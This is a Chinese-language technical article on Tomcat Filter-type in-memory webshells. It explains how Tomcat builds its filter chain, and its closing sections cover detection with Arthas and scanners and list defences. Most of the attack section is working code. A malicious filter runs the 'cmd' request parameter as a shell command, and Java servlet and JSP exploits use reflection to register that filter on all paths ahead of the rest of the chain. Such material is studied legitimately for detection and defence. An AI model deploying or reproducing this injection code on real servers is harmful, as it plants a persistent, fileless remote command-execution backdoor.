Tomcat Filter 型内存马流程理解与手写 EXP
字数 1340 2025-08-12 11:34:19
Tomcat Filter 型内存马原理与实现详解
0x01 前言
Filter(过滤器)是Servlet规范中的重要组件,可以拦截和修改用户请求。通过动态创建恶意Filter并将其置于Filter链最前面,可以构造内存Webshell,实现命令执行等恶意操作。
0x02 Tomcat Filter流程分析
环境准备
- Maven 3.6.3
- Tomcat 8.5.81
- 添加Tomcat依赖:
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.81</version>
<scope>provided</scope>
</dependency>
Filter执行流程
-
Filter链调用流程:
- 请求首先进入
ApplicationFilterChain.doFilter() - 调用
internalDoFilter()方法 - 通过
filters[pos++]获取Filter实例 - 最后一个Filter会调用
Servlet.service()
- 请求首先进入
-
Filter创建流程:
StandardEngineValve.invoke()开始处理请求- 通过
ApplicationFilterFactory.createFilterChain()创建Filter链 - 从
StandardContext.filterMaps获取Filter映射关系 - 匹配成功后从
StandardContext.filterConfigs获取Filter实例
关键数据结构
StandardContext类存储了Filter相关的重要数据:
private HashMap<String, ApplicationFilterConfig> filterConfigs;
private HashMap<String, FilterDef> filterDefs;
private final StandardContext.ContextFilterMaps filterMaps;
filterConfigs: 存储Filter名称与ApplicationFilterConfig的映射filterDefs: 存储Filter名称与FilterDef的映射filterMaps: 存储Filter与URL模式的映射关系
0x03 攻击思路分析
攻击目标
动态注册恶意Filter并置于Filter链最前面
实现步骤
- 获取当前应用的
StandardContext - 创建恶意Filter对象
- 创建并配置
FilterDef - 创建并配置
FilterMap - 创建
ApplicationFilterConfig并添加到filterConfigs
0x04 Filter型内存马实现
恶意Filter示例
public class EvilFilter implements Filter {
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) request;
if (req.getParameter("cmd") != null) {
boolean isLinux = !System.getProperty("os.name").toLowerCase().contains("win");
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")}
: new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
return;
}
chain.doFilter(request, response);
}
// 其他方法省略...
}
完整EXP实现
import org.apache.catalina.*;
import org.apache.tomcat.util.descriptor.web.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;
import java.lang.reflect.*;
import java.util.*;
public class FilterShell extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
try {
// 获取StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
String filterName = "cmd_Filter";
Field configs = standardContext.getClass().getDeclaredField("filterConfigs");
configs.setAccessible(true);
Map filterConfigs = (Map) configs.get(standardContext);
if (filterConfigs.get(filterName) == null) {
// 创建恶意Filter
Filter filter = new Filter() {
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain)
throws IOException, ServletException {
// 恶意代码实现...
}
// 其他方法省略...
};
// 创建并添加FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
// 创建并添加FilterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
// 创建并添加ApplicationFilterConfig
Constructor constructor = ApplicationFilterConfig.class
.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
constructor.newInstance(standardContext, filterDef);
filterConfigs.put(filterName, filterConfig);
response.getWriter().write("Inject Success");
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
JSP版本内存马
<%@ page import="org.apache.catalina.core.*, java.lang.reflect.*, org.apache.tomcat.util.descriptor.web.*" %>
<%
String name = "Drunkbaby";
// 获取StandardContext代码同上...
if (filterConfigs.get(name) == null) {
Filter filter = new Filter() {
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain)
throws IOException, ServletException {
// 恶意代码实现...
}
// 其他方法省略...
};
// 添加FilterDef、FilterMap、FilterConfig代码同上...
out.print("Inject Success");
}
%>
0x05 内存马检测方法
1. 使用Arthas工具
java -jar arthas-boot.jar
检测命令:
sc *.Filter
jad --source-only 类名
watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=null}.{filterClass}'
2. 使用copagent工具
项目地址:https://github.com/LandGrey/copagent
3. 使用java-memshell-scanner
项目地址:https://github.com/c0ny1/java-memshell-scanner
检测原理:
- 遍历
filterMaps中的所有filterMap - 通过反射调用
StandardContext#removeFilterDef进行删除
0x06 防御建议
- 限制上传和执行动态脚本
- 监控Filter的动态注册行为
- 定期检查服务器上的可疑Filter
- 使用安全工具进行定期扫描
0x07 总结
Filter型内存马的核心是通过反射获取StandardContext,然后动态注册恶意Filter。防御关键在于监控Filter的动态注册行为和定期检查Filter链。